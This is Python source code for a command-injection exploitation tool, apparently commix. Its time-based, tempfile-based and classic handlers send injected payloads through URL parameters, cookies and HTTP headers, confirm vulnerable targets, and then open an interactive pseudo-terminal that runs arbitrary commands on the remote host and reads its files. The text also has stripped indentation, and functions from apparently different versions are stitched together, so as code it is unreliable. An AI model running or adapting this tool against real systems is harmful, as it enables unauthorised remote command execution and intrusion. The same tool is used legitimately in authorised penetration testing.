except KeyboardInterrupt:
raise
except SystemExit:
raise
elif gotshell in settings.CHOICE_NO:
if checks.next_attack_vector(
technique, go_back) == True:
break
else:
if no_result == True:
return False
else:
return True
elif gotshell in settings.CHOICE_QUIT:
sys.exit(0)
else:
if gotshell == "":
gotshell = "enter"
err_msg = "'" + gotshell + "' is not a valid answer."
print settings.print_error_msg(err_msg)
pass
if no_result == True:
print ""
return False
else:
sys.stdout.write("\r")
sys.stdout.flush()
def tb_injection_handler(url, delay, filename, http_request_method, url_time_response):
counter = 1
num_of_chars = 1
vp_flag = True
no_result = True
is_encoded = False
fixation = False
export_injection_info = False
injection_type = "Blind-based Command Injection"
technique = "time-based injection technique"
# Check if defined "--maxlen" option.
if menu.options.maxlen:
maxlen = menu.options.maxlen
# Check if defined "--url-reload" option.
if menu.options.url_reload == True:
print Back.RED + "(x) Error: The '--url-reload' option is not available in "+ technique +"!" + Style.RESET_ALL
# Calculate all possible combinations
total = (len(settings.PREFIXES) * len(settings.SEPARATORS) * len(settings.SUFFIXES) - len(settings.JUNK_COMBINATION))
sys.stdout.write("(*) Testing the "+ technique + "... ")
sys.stdout.flush()
for prefix in settings.PREFIXES:
for suffix in settings.SUFFIXES:
for separator in settings.SEPARATORS:
num_of_chars = num_of_chars + 1
# Check for bad combination of prefix and separator
combination = prefix + separator
if combination in settings.JUNK_COMBINATION:
prefix = ""
# Define alter shell
alter_shell = menu.options.alter_shell
# Change TAG on every request to prevent false-positive results.
TAG = ''.join(random.choice(string.ascii_uppercase) for num_of_chars in range(6))
tag_length = len(TAG) + 4
for output_length in range(1, int(tag_length)):
try:
if alter_shell:
# Time-based decision payload (check if host is vulnerable).
payload = tb_payloads.decision_alter_shell(separator, TAG, output_length, delay, http_request_method)
else:
# Time-based decision payload (check if host is vulnerable).
payload = tb_payloads.decision(separator, TAG, output_length, delay, http_request_method)
# Fix prefixes / suffixes
payload = parameters.prefixes(payload, prefix)
payload = parameters.suffixes(payload, suffix)
# Check if defined "--verbose" option.
if menu.options.verbose:
sys.stdout.write("\n" + Fore.GREY + payload.replace("\n", "\\n") + Style.RESET_ALL)
# Cookie Injection
if settings.COOKIE_INJECTION == True:
# Check if target host is vulnerable to cookie injection.
vuln_parameter = parameters.specify_cookie_parameter(menu.options.cookie)
how_long = tb_injector.cookie_injection_test(url, vuln_parameter, payload)
else:
# Check if target host is vulnerable.
how_long, vuln_parameter = tb_injector.injection_test(payload, http_request_method, url)
# Injection percentage calculation
percent = ((num_of_chars * 100) / total)
if percent == 100 and no_result == True:
if not menu.options.verbose:
percent = Fore.RED + "FAILED" + Style.RESET_ALL
else:
percent = ""
else:
if (url_time_response <= 1 and how_long >= delay) or \
(url_time_response >= 2 and how_long > delay):
# Time relative false positive fixation.
if len(TAG) == output_length :
if fixation == True:
delay = delay + 1
else:
fixation = True
continue
randv1 = random.randrange(0, 1)
randv2 = random.randrange(1, 2)
randvcalc = randv1 + randv2
cmd = "(" + str(randv1) + "+" + str(randv2) + ")"
output = tb_injector.false_positive_check(separator, TAG, cmd, prefix, suffix, delay, http_request_method, url, vuln_parameter, randvcalc, alter_shell)
if str(output) == str(randvcalc):
if not menu.options.verbose:
percent = Fore.GREEN + "SUCCEED" + Style.RESET_ALL
else:
percent = ""
else:
percent = str(percent)+"%"
if not menu.options.verbose:
sys.stdout.write("\r(*) Testing the "+ technique + "... " + "[ " + percent + " ]")
sys.stdout.flush()
except KeyboardInterrupt:
raise
except:
break
# Yaw, got shellz!
# Do some magic tricks!
if (url_time_response <= 1 and how_long >= delay) or \
(url_time_response >= 2 and how_long > delay):
if len(TAG) == output_length :
found = True
no_result = False
if settings.COOKIE_INJECTION == True:
http_request_method = "cookie"
found_vuln_parameter = vuln_parameter
else:
if http_request_method == "GET":
found_vuln_parameter = parameters.vuln_GET_param(url)
else :
found_vuln_parameter = vuln_parameter
# Print the findings to log file.
if export_injection_info == False:
export_injection_info = logs.add_type_and_technique(export_injection_info, filename, injection_type, technique)
if vp_flag == True:
vp_flag = logs.add_parameter(vp_flag, filename, http_request_method, vuln_parameter, payload)
logs.upload_payload(filename, counter, payload)
counter = counter + 1
# Print the findings to terminal.
print Style.BRIGHT + "\n(!) The ("+ http_request_method + ") '" + Style.UNDERLINE + found_vuln_parameter + Style.RESET_ALL + Style.BRIGHT + "' parameter is vulnerable to "+ injection_type +"."+ Style.RESET_ALL
print " (+) Type : "+ Fore.YELLOW + Style.BRIGHT + injection_type + Style.RESET_ALL + ""
print " (+) Technique : "+ Fore.YELLOW + Style.BRIGHT + technique.title() + Style.RESET_ALL + ""
print " (+) Payload : "+ Fore.YELLOW + Style.BRIGHT + re.sub("%20", " ", urllib.unquote_plus(payload.replace("\n", "\\n"))) + Style.RESET_ALL
# Check for any enumeration options.
tb_enumeration.do_check(separator, maxlen, TAG, prefix, suffix, delay, http_request_method, url, vuln_parameter, alter_shell)
# Check for any system file access options.
tb_file_access.do_check(separator, maxlen, TAG, prefix, suffix, delay, http_request_method, url, vuln_parameter, alter_shell)
# Pseudo-Terminal shell
while True:
gotshell = raw_input("\n(?) Do you want a Pseudo-Terminal shell? [Y/n] > ").lower()
if gotshell in settings.CHOISE_YES:
print ""
print "Pseudo-Terminal (type 'q' or use <Ctrl-C> to quit)"
while True:
try:
cmd = raw_input("Shell > ")
if cmd == "q":
logs.logs_notification(filename)
sys.exit(0)
else:
# The main command injection exploitation.
check_how_long, output = tb_injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, delay, http_request_method, url, vuln_parameter, alter_shell)
if menu.options.verbose:
print ""
if output != "" and check_how_long != 0 :
print "\n\n" + Fore.GREEN + Style.BRIGHT + output + Style.RESET_ALL
print "\n(*) Finished in "+ time.strftime('%H:%M:%S', time.gmtime(check_how_long)) +".\n"
else:
print ""
except KeyboardInterrupt:
raise
elif gotshell in settings.CHOISE_NO:
break
if menu.options.verbose:
sys.stdout.write("\r(*) Continue testing the "+ technique +"... ")
sys.stdout.flush()
else:
if gotshell == "":
gotshell = "enter"
print Back.RED + "(x) Error: '" + gotshell + "' is not a valid answer." + Style.RESET_ALL
pass
break
if no_result == True:
print ""
return False
else :
sys.stdout.write("\r")
sys.stdout.flush()
def tfb_injection_handler(url, timesec, filename, tmp_path, http_request_method, url_time_response):
counter = 1
num_of_chars = 1
vp_flag = True
no_result = True
is_encoded = False
possibly_vulnerable = False
false_positive_warning = False
export_injection_info = False
how_long = 0
injection_type = "semi-blind command injection"
technique = "tempfile-based injection technique"
if settings.TIME_RELATIVE_ATTACK == False:
warn_msg = "It is very important to not stress the network connection during usage of time-based payloads to prevent potential disruptions."
print(settings.print_warning_msg(warn_msg) + Style.RESET_ALL)
settings.TIME_RELATIVE_ATTACK = None
# Check if defined "--maxlen" option.
if menu.options.maxlen:
maxlen = settings.MAXLEN
# Check if defined "--url-reload" option.
if menu.options.url_reload == True:
err_msg = "The '--url-reload' option is not available in " + technique + "!"
print(settings.print_critical_msg(err_msg))
if not settings.LOAD_SESSION:
# Change TAG on every request to prevent false-positive resutls.
TAG = ''.join(random.choice(string.ascii_uppercase) for num_of_chars in range(6))
if settings.VERBOSITY_LEVEL != 0:
info_msg ="Testing the " + "(" + injection_type.split(" ")[0] + ") " + technique + ". "
print(settings.print_info_msg(info_msg))
#whitespace = checks.check_whitespaces()
# Calculate all possible combinations
total = len(settings.WHITESPACES) * len(settings.PREFIXES) * len(settings.SEPARATORS) * len(settings.SUFFIXES)
for whitespace in settings.WHITESPACES:
for prefix in settings.PREFIXES:
for suffix in settings.SUFFIXES:
for separator in settings.SEPARATORS:
# Check injection state
settings.DETECTION_PHASE = True
settings.EXPLOITATION_PHASE = False
# If a previous session is available.
how_long_statistic = []
if settings.LOAD_SESSION:
try:
settings.TEMPFILE_BASED_STATE = True
cmd = shell = ""
url, technique, injection_type, separator, shell, vuln_parameter, prefix, suffix, TAG, alter_shell, payload, http_request_method, url_time_response, timesec, how_long, output_length, is_vulnerable = session_handler.injection_point_exportation(url, http_request_method)
checks.check_for_stored_tamper(payload)
settings.FOUND_HOW_LONG = how_long
settings.FOUND_DIFF = how_long - timesec
OUTPUT_TEXTFILE = tmp_path + TAG + ".txt"
except TypeError:
err_msg = "An error occurred while accessing session file ('"
err_msg += settings.SESSION_FILE + "'). "
err_msg += "Use the '--flush-session' option."
print(settings.print_critical_msg(err_msg))
raise SystemExit()
else:
num_of_chars = num_of_chars + 1
# Check for bad combination of prefix and separator
combination = prefix + separator
if combination in settings.JUNK_COMBINATION:
prefix = ""
# The output file for file-based injection technique.
OUTPUT_TEXTFILE = tmp_path + TAG + ".txt"
alter_shell = menu.options.alter_shell
tag_length = len(TAG) + 4
for output_length in range(1, int(tag_length)):
try:
# Tempfile-based decision payload (check if host is vulnerable).
if alter_shell :
payload = tfb_payloads.decision_alter_shell(separator, output_length, TAG, OUTPUT_TEXTFILE, timesec, http_request_method)
else:
payload = tfb_payloads.decision(separator, output_length, TAG, OUTPUT_TEXTFILE, timesec, http_request_method)
# Fix prefixes / suffixes
payload = parameters.prefixes(payload, prefix)
payload = parameters.suffixes(payload, suffix)
# Whitespace fixation
payload = payload.replace(settings.SINGLE_WHITESPACE, whitespace)
# Perform payload modification
payload = checks.perform_payload_modification(payload)
# Check if defined "--verbose" option.
if settings.VERBOSITY_LEVEL == 1:
payload_msg = payload.replace("\n", "\\n")
print(settings.print_payload(payload_msg))
elif settings.VERBOSITY_LEVEL >= 2:
debug_msg = "Generating payload for the injection."
print(settings.print_debug_msg(debug_msg))
print(settings.print_payload(payload))
# Cookie header injection
if settings.COOKIE_INJECTION == True:
# Check if target host is vulnerable to cookie header injection.
vuln_parameter = parameters.specify_cookie_parameter(menu.options.cookie)
how_long = tfb_injector.cookie_injection_test(url, vuln_parameter, payload)
# User-Agent HTTP header injection
elif settings.USER_AGENT_INJECTION == True:
# Check if target host is vulnerable to user-agent HTTP header injection.
vuln_parameter = parameters.specify_user_agent_parameter(menu.options.agent)
how_long = tfb_injector.user_agent_injection_test(url, vuln_parameter, payload)
# Referer HTTP header injection
elif settings.REFERER_INJECTION == True:
# Check if target host is vulnerable to referer HTTP header injection.
vuln_parameter = parameters.specify_referer_parameter(menu.options.referer)
how_long = tfb_injector.referer_injection_test(url, vuln_parameter, payload)
# Host HTTP header injection
elif settings.HOST_INJECTION == True:
# Check if target host is vulnerable to host HTTP header injection.
vuln_parameter = parameters.specify_host_parameter(menu.options.host)
how_long = tfb_injector.host_injection_test(url, vuln_parameter, payload)
# Custom HTTP header injection
elif settings.CUSTOM_HEADER_INJECTION == True:
# Check if target host is vulnerable to custom HTTP header injection.
vuln_parameter = parameters.specify_custom_header_parameter(settings.INJECT_TAG)
how_long = tfb_injector.custom_header_injection_test(url, vuln_parameter, payload)
else:
# Check if target host is vulnerable.
how_long, vuln_parameter = tfb_injector.injection_test(payload, http_request_method, url)
# Statistical analysis in time responses.
how_long_statistic.append(how_long)
# Injection percentage calculation
percent = ((num_of_chars * 100) / total)
float_percent = "{0:.1f}".format(round(((num_of_chars*100)/(total*1.0)),2))
if percent == 100 and no_result == True:
if settings.VERBOSITY_LEVEL == 0:
percent = settings.FAIL_STATUS
else:
percent = ""
else:
if (url_time_response == 0 and (how_long - timesec) >= 0) or \
(url_time_response != 0 and (how_long - timesec) == 0 and (how_long == timesec)) or \
(url_time_response != 0 and (how_long - timesec) > 0 and (how_long >= timesec + 1)) :
# Time relative false positive fixation.
false_positive_fixation = False
if len(TAG) == output_length:
# Simple statical analysis
statistical_anomaly = True
if len(set(how_long_statistic[0:5])) == 1:
if max(xrange(len(how_long_statistic)), key=lambda x: how_long_statistic[x]) == len(TAG) - 1:
statistical_anomaly = False
how_long_statistic = []
if timesec <= how_long and not statistical_anomaly:
false_positive_fixation = True
else:
false_positive_warning = True
# Identified false positive warning message.
if false_positive_warning:
warn_msg = "Unexpected time delays have been identified due to unstable "
warn_msg += "requests. This behavior may lead to false-positive results.\n"
sys.stdout.write("\r" + settings.print_warning_msg(warn_msg))
while True:
if not menu.options.batch:
question_msg = "How do you want to proceed? [(C)ontinue/(s)kip/(q)uit] > "
proceed_option = _input(settings.print_question_msg(question_msg))
else:
proceed_option = ""
if len(proceed_option) == 0:
proceed_option = "c"
if proceed_option.lower() in settings.CHOICE_PROCEED :
if proceed_option.lower() == "s":
false_positive_fixation = False
raise
elif proceed_option.lower() == "c":
timesec = timesec + 1
false_positive_fixation = True
break
elif proceed_option.lower() == "q":
raise SystemExit()
else:
err_msg = "'" + proceed_option + "' is not a valid answer."
print(settings.print_error_msg(err_msg))
pass
if settings.VERBOSITY_LEVEL == 0:
percent = ".. (" + str(float_percent) + "%)"
info_msg = "Testing the " + "(" + injection_type.split(" ")[0] + ") " + technique + "." + "" + percent + ""
sys.stdout.write("\r" + settings.print_info_msg(info_msg))
sys.stdout.flush()
# Check if false positive fixation is True.
if false_positive_fixation:
false_positive_fixation = False
settings.FOUND_HOW_LONG = how_long
settings.FOUND_DIFF = how_long - timesec
if false_positive_warning:
time.sleep(1)
randv1 = random.randrange(0, 4)
randv2 = random.randrange(1, 5)
randvcalc = randv1 + randv2
if settings.TARGET_OS == "win":
if alter_shell:
cmd = settings.WIN_PYTHON_INTERPRETER + " -c \"print (" + str(randv1) + " + " + str(randv2) + ")\""
else:
cmd = "powershell.exe -InputFormat none write (" + str(randv1) + " + " + str(randv2) + ")"
else:
cmd = "echo $((" + str(randv1) + " %2B " + str(randv2) + "))"
# Set the original delay time
original_how_long = how_long
# Check for false positive resutls
how_long, output = tfb_injector.false_positive_check(separator, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, randvcalc, alter_shell, how_long, url_time_response)
if (url_time_response == 0 and (how_long - timesec) >= 0) or \
(url_time_response != 0 and (how_long - timesec) == 0 and (how_long == timesec)) or \
(url_time_response != 0 and (how_long - timesec) > 0 and (how_long >= timesec + 1)) :
if str(output) == str(randvcalc) and len(TAG) == output_length:
possibly_vulnerable = True
how_long_statistic = 0
if settings.VERBOSITY_LEVEL == 0:
percent = settings.info_msg
else:
percent = ""
#break
else:
break
# False positive
else:
if settings.VERBOSITY_LEVEL == 0:
percent = ".. (" + str(float_percent) + "%)"
info_msg = "Testing the " + "(" + injection_type.split(" ")[0] + ") " + technique + "." + "" + percent + ""
sys.stdout.write("\r" + settings.print_info_msg(info_msg))
sys.stdout.flush()
continue
else:
if settings.VERBOSITY_LEVEL == 0:
percent = ".. (" + str(float_percent) + "%)"
info_msg = "Testing the " + "(" + injection_type.split(" ")[0] + ") " + technique + "." + "" + percent + ""
sys.stdout.write("\r" + settings.print_info_msg(info_msg))
sys.stdout.flush()
continue
if settings.VERBOSITY_LEVEL == 0:
info_msg = "Testing the " + "(" + injection_type.split(" ")[0] + ") " + technique + "." + "" + percent + ""
sys.stdout.write("\r" + settings.print_info_msg(info_msg))
sys.stdout.flush()
except KeyboardInterrupt:
if settings.VERBOSITY_LEVEL != 0:
print(settings.SINGLE_WHITESPACE)
if 'cmd' in locals():
# Delete previous shell (text) files (output) from temp.
delete_previous_shell(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)
raise
except SystemExit:
if 'cmd' in locals():
# Delete previous shell (text) files (output) from temp.
delete_previous_shell(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)
raise
except EOFError:
err_msg = "Exiting, due to EOFError."
print(settings.print_error_msg(err_msg))
if 'cmd' in locals():
# Delete previous shell (text) files (output) from temp.
delete_previous_shell(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)
raise
except:
percent = ((num_of_chars * 100) / total)
float_percent = "{0:.1f}".format(round(((num_of_chars*100)/(total*1.0)),2))
if str(float_percent) == "100.0":
if no_result == True:
if settings.VERBOSITY_LEVEL == 0:
percent = settings.FAIL_STATUS
info_msg = "Testing the " + "(" + injection_type.split(" ")[0] + ") " + technique + "." + "" + percent + ""
sys.stdout.write("\r" + settings.print_info_msg(info_msg))
sys.stdout.flush()
else:
percent = ""
else:
percent = ".. (" + str(float_percent) + "%)"
print(settings.SINGLE_WHITESPACE)
# Print logs notification message
logs.logs_notification(filename)
#raise
else:
percent = ".. (" + str(float_percent) + "%)"
break
# Yaw, got shellz!
# Do some magic tricks!
if (url_time_response == 0 and (how_long - timesec) >= 0) or \
(url_time_response != 0 and (how_long - timesec) == 0 and (how_long == timesec)) or \
(url_time_response != 0 and (how_long - timesec) > 0 and (how_long >= timesec + 1)) :
if (len(TAG) == output_length) and \
(possibly_vulnerable == True or settings.LOAD_SESSION and int(is_vulnerable) == menu.options.level):
found = True
no_result = False
# Check injection state
settings.DETECTION_PHASE = False
settings.EXPLOITATION_PHASE = True
if settings.LOAD_SESSION:
if whitespace == "%20":
whitespace = " "
possibly_vulnerable = False
if settings.COOKIE_INJECTION == True:
header_name = " cookie"
found_vuln_parameter = vuln_parameter
the_type = " parameter"
elif settings.USER_AGENT_INJECTION == True:
header_name = " User-Agent"
found_vuln_parameter = ""
the_type = " HTTP header"
elif settings.REFERER_INJECTION == True:
header_name = " Referer"
found_vuln_parameter = ""
the_type = " HTTP header"
elif settings.HOST_INJECTION == True:
header_name = " Host"
found_vuln_parameter = ""
the_type = " HTTP header"
elif settings.CUSTOM_HEADER_INJECTION == True:
header_name = " " + settings.CUSTOM_HEADER_NAME
found_vuln_parameter = ""
the_type = " HTTP header"
else:
header_name = ""
the_type = " parameter"
if http_request_method != settings.HTTPMETHOD.POST:
found_vuln_parameter = parameters.vuln_GET_param(url)
else :
found_vuln_parameter = vuln_parameter
if len(found_vuln_parameter) != 0 :
found_vuln_parameter = " '" + found_vuln_parameter + Style.RESET_ALL + Style.BRIGHT + "'"
# Print the findings to log file.
if export_injection_info == False:
export_injection_info = logs.add_type_and_technique(export_injection_info, filename, injection_type, technique)
if vp_flag == True:
vp_flag = logs.add_parameter(vp_flag, filename, the_type, header_name, http_request_method, vuln_parameter, payload)
logs.update_payload(filename, counter, payload)
counter = counter + 1
if not settings.LOAD_SESSION:
if settings.VERBOSITY_LEVEL == 0:
print(settings.SINGLE_WHITESPACE)
else:
checks.total_of_requests()
# Print the findings to terminal.
info_msg = "The"
if len(found_vuln_parameter) > 0 and not "cookie" in header_name :
info_msg += " " + http_request_method
info_msg += ('', ' (JSON)')[settings.IS_JSON] + ('', ' (SOAP/XML)')[settings.IS_XML] + the_type + header_name
info_msg += found_vuln_parameter + " seems injectable via "
info_msg += "(" + injection_type.split(" ")[0] + ") " + technique + "."
print(settings.print_bold_info_msg(info_msg))
sub_content = str(checks.url_decode(payload))
print(settings.print_sub_content(sub_content))
# Export session
if not settings.LOAD_SESSION:
shell = ""
session_handler.injection_point_importation(url, technique, injection_type, separator, shell, vuln_parameter, prefix, suffix, TAG, alter_shell, payload, http_request_method, url_time_response, timesec, original_how_long, output_length, is_vulnerable=menu.options.level)
#possibly_vulnerable = False
else:
settings.LOAD_SESSION = False
# Delete previous shell (text) files (output) from temp.
delete_previous_shell(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)
if settings.TARGET_OS == "win":
time.sleep(1)
new_line = False
# Check for any enumeration options.
if settings.ENUMERATION_DONE == True :
while True:
if not menu.options.batch:
question_msg = "Do you want to enumerate again? [Y/n] > "
enumerate_again = _input("\n" + settings.print_question_msg(question_msg)).lower()
else:
enumerate_again = ""
if len(enumerate_again) == 0:
enumerate_again = "Y"
if enumerate_again in settings.CHOICE_YES:
tfb_enumeration.do_check(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response)
print(settings.SINGLE_WHITESPACE)
break
elif enumerate_again in settings.CHOICE_NO:
new_line = True
break
elif enumerate_again in settings.CHOICE_QUIT:
# Delete previous shell (text) files (output) from temp.
delete_previous_shell(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)
raise SystemExit()
else:
err_msg = "'" + enumerate_again + "' is not a valid answer."
print(settings.print_error_msg(err_msg))
pass
else:
if menu.enumeration_options():
tfb_enumeration.do_check(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response)
print(settings.SINGLE_WHITESPACE)
# Check for any system file access options.
if settings.FILE_ACCESS_DONE == True :
print(settings.SINGLE_WHITESPACE)
while True:
if not menu.options.batch:
question_msg = "Do you want to access files again? [Y/n] > "
file_access_again = _input(settings.print_question_msg(question_msg))
else:
file_access_again = ""
if len(file_access_again) == 0:
file_access_again = "Y"
if file_access_again in settings.CHOICE_YES:
tfb_file_access.do_check(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response)
break
elif file_access_again in settings.CHOICE_NO:
if not new_line:
new_line = True
break
elif file_access_again in settings.CHOICE_QUIT:
# Delete previous shell (text) files (output) from temp.
delete_previous_shell(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)
raise SystemExit()
else:
err_msg = "'" + file_access_again + "' is not a valid answer."
print(settings.print_error_msg(err_msg))
pass
else:
# if not menu.enumeration_options() and not menu.options.os_cmd:
# print(settings.SINGLE_WHITESPACE)
tfb_file_access.do_check(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response)
# Check if defined single cmd.
if menu.options.os_cmd:
check_how_long, output = tfb_enumeration.single_os_cmd_exec(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response)
# Export injection result
tfb_injector.export_injection_results(cmd, separator, output, check_how_long)
# Delete previous shell (text) files (output) from temp.
if settings.VERBOSITY_LEVEL != 0:
print(settings.SINGLE_WHITESPACE)
delete_previous_shell(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)
logs.print_logs_notification(filename, url)
raise SystemExit()
if settings.VERBOSITY_LEVEL != 0 or not new_line:
print(settings.SINGLE_WHITESPACE)
try:
# Pseudo-Terminal shell
go_back = False
go_back_again = False
while True:
if go_back == True:
break
if not menu.options.batch:
question_msg = "Do you want a Pseudo-Terminal shell? [Y/n] > "
gotshell = _input(settings.print_question_msg(question_msg))
else:
gotshell = ""
if len(gotshell) == 0:
gotshell = "Y"
if gotshell in settings.CHOICE_YES:
# if not menu.options.batch:
# print(settings.SINGLE_WHITESPACE)
print("Pseudo-Terminal (type '" + Style.BRIGHT + "?" + Style.RESET_ALL + "' for available options)")
if settings.READLINE_ERROR:
checks.no_readline_module()
while True:
if false_positive_warning:
warn_msg = "Due to unexpected time delays, it is highly "
warn_msg += "recommended to enable the 'reverse_tcp' option.\n"
sys.stdout.write("\r" + settings.print_warning_msg(warn_msg))
false_positive_warning = False
if not settings.READLINE_ERROR:
checks.tab_autocompleter()
cmd = _input("""commix(""" + Style.BRIGHT + Fore.RED + """os_shell""" + Style.RESET_ALL + """) > """)
cmd = checks.escaped_cmd(cmd)
if cmd.lower() in settings.SHELL_OPTIONS:
go_back, go_back_again = shell_options.check_option(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, technique, go_back, no_result, timesec, go_back_again, payload, OUTPUT_TEXTFILE="")
if go_back and go_back_again == False:
break
if go_back and go_back_again:
return True
if menu.options.ignore_session or \
session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None:
# The main command injection exploitation.
check_how_long, output = tfb_injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response)
# Export injection result
tfb_injector.export_injection_results(cmd, separator, output, check_how_long)
if not menu.options.ignore_session :
session_handler.store_cmd(url, cmd, output, vuln_parameter)
else:
output = session_handler.export_stored_cmd(url, cmd, vuln_parameter)
# Update logs with executed cmds and execution results.
logs.executed_command(filename, cmd, output)
print("\n" + settings.print_output(output) + "\n")
# Update logs with executed cmds and execution results.
logs.executed_command(filename, cmd, output)
elif gotshell in settings.CHOICE_NO:
if checks.next_attack_vector(technique, go_back) == True:
break
else:
if no_result == True:
return False
else:
# Delete previous shell (text) files (output) from temp.
delete_previous_shell(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)
return True
elif gotshell in settings.CHOICE_QUIT:
# Delete previous shell (text) files (output) from temp.
delete_previous_shell(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)
raise SystemExit()
else:
err_msg = "'" + gotshell + "' is not a valid answer."
print(settings.print_error_msg(err_msg))
pass
except KeyboardInterrupt:
if settings.VERBOSITY_LEVEL != 0:
print(settings.SINGLE_WHITESPACE)
# Delete previous shell (text) files (output) from temp.
delete_previous_shell(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)
raise
except SystemExit:
# Delete previous shell (text) files (output) from temp.
delete_previous_shell(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)
raise
except EOFError:
err_msg = "Exiting, due to EOFError."
print(settings.print_error_msg(err_msg))
# Delete previous shell (text) files (output) from temp.
delete_previous_shell(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)
raise
if no_result == True:
if settings.VERBOSITY_LEVEL == 0:
print(settings.SINGLE_WHITESPACE)
return False
else :
sys.stdout.write("\r")
sys.stdout.flush()
def cb_injection_handler(url, delay, filename, http_request_method):
counter = 1
vp_flag = True
no_result = True
is_encoded = False
export_injection_info = False
injection_type = "Results-based Command Injection"
technique = "classic injection technique"
sys.stdout.write("(*) Testing the " + technique + "... ")
sys.stdout.flush()
i = 0
# Calculate all possible combinations
total = len(settings.WHITESPACES) * len(settings.PREFIXES) * len(
settings.SEPARATORS) * len(settings.SUFFIXES)
for whitespace in settings.WHITESPACES:
for prefix in settings.PREFIXES:
for suffix in settings.SUFFIXES:
for separator in settings.SEPARATORS:
i = i + 1
# Check for bad combination of prefix and separator
combination = prefix + separator
if combination in settings.JUNK_COMBINATION:
prefix = ""
# Change TAG on every request to prevent false-positive results.
TAG = ''.join(
random.choice(string.ascii_uppercase)
for i in range(6))
randv1 = random.randrange(100)
randv2 = random.randrange(100)
randvcalc = randv1 + randv2
# Define alter shell
alter_shell = menu.options.alter_shell
try:
if alter_shell:
# Classic -alter shell- decision payload (check if host is vulnerable).
payload = cb_payloads.decision_alter_shell(
separator, TAG, randv1, randv2)
else:
# Classic decision payload (check if host is vulnerable).
payload = cb_payloads.decision(
separator, TAG, randv1, randv2)
# Define prefixes & suffixes
payload = parameters.prefixes(payload, prefix)
payload = parameters.suffixes(payload, suffix)
if menu.options.base64:
payload = urllib.unquote(payload)
payload = base64.b64encode(payload)
else:
if separator == " ":
payload = re.sub(" ", "%20", payload)
else:
payload = re.sub(" ", whitespace, payload)
# Check if defined "--verbose" option.
if menu.options.verbose:
sys.stdout.write("\n" + Fore.GREY +
"(~) Payload: " + payload +
Style.RESET_ALL)
# if need page reload
if menu.options.url_reload:
time.sleep(delay)
response = urllib.urlopen(url)
# Cookie Injection
if settings.COOKIE_INJECTION == True:
# Check if target host is vulnerable to cookie injection.
vuln_parameter = parameters.specify_cookie_parameter(
menu.options.cookie)
response = cb_injector.cookie_injection_test(
url, vuln_parameter, payload)
# User-Agent Injection
elif settings.USER_AGENT_INJECTION == True:
# Check if target host is vulnerable to user-agent injection.
vuln_parameter = parameters.specify_user_agent_parameter(
menu.options.agent)
response = cb_injector.user_agent_injection_test(
url, vuln_parameter, payload)
# Referer Injection
elif settings.REFERER_INJECTION == True:
# Check if target host is vulnerable to referer injection.
vuln_parameter = parameters.specify_referer_parameter(
menu.options.referer)
response = cb_injector.referer_injection_test(
url, vuln_parameter, payload)
else:
# Check if target host is vulnerable.
response, vuln_parameter = cb_injector.injection_test(
payload, http_request_method, url)
# Evaluate test results.
shell = cb_injector.injection_test_results(
response, TAG, randvcalc)
if not menu.options.verbose:
percent = ((i * 100) / total)
float_percent = "{0:.1f}".format(
round(((i * 100) / (total * 1.0)), 2))
if percent == 100:
if no_result == True:
percent = Fore.RED + "FAILED" + Style.RESET_ALL
else:
percent = str(float_percent) + "%"
elif len(shell) != 0:
percent = Fore.GREEN + "SUCCEED" + Style.RESET_ALL
else:
percent = str(float_percent) + "%"
sys.stdout.write("\r(*) Testing the " + technique +
"... " + "[ " + percent + " ]")
sys.stdout.flush()
except KeyboardInterrupt:
raise
except:
continue
# Yaw, got shellz!
# Do some magic tricks!
if shell:
found = True
no_result = False
if settings.COOKIE_INJECTION == True:
header_name = " Cookie"
found_vuln_parameter = vuln_parameter
the_type = " HTTP header"
elif settings.USER_AGENT_INJECTION == True:
header_name = " User-Agent"
found_vuln_parameter = ""
the_type = " HTTP header"
elif settings.REFERER_INJECTION == True:
header_name = " Referer"
found_vuln_parameter = ""
the_type = " HTTP header"
else:
header_name = ""
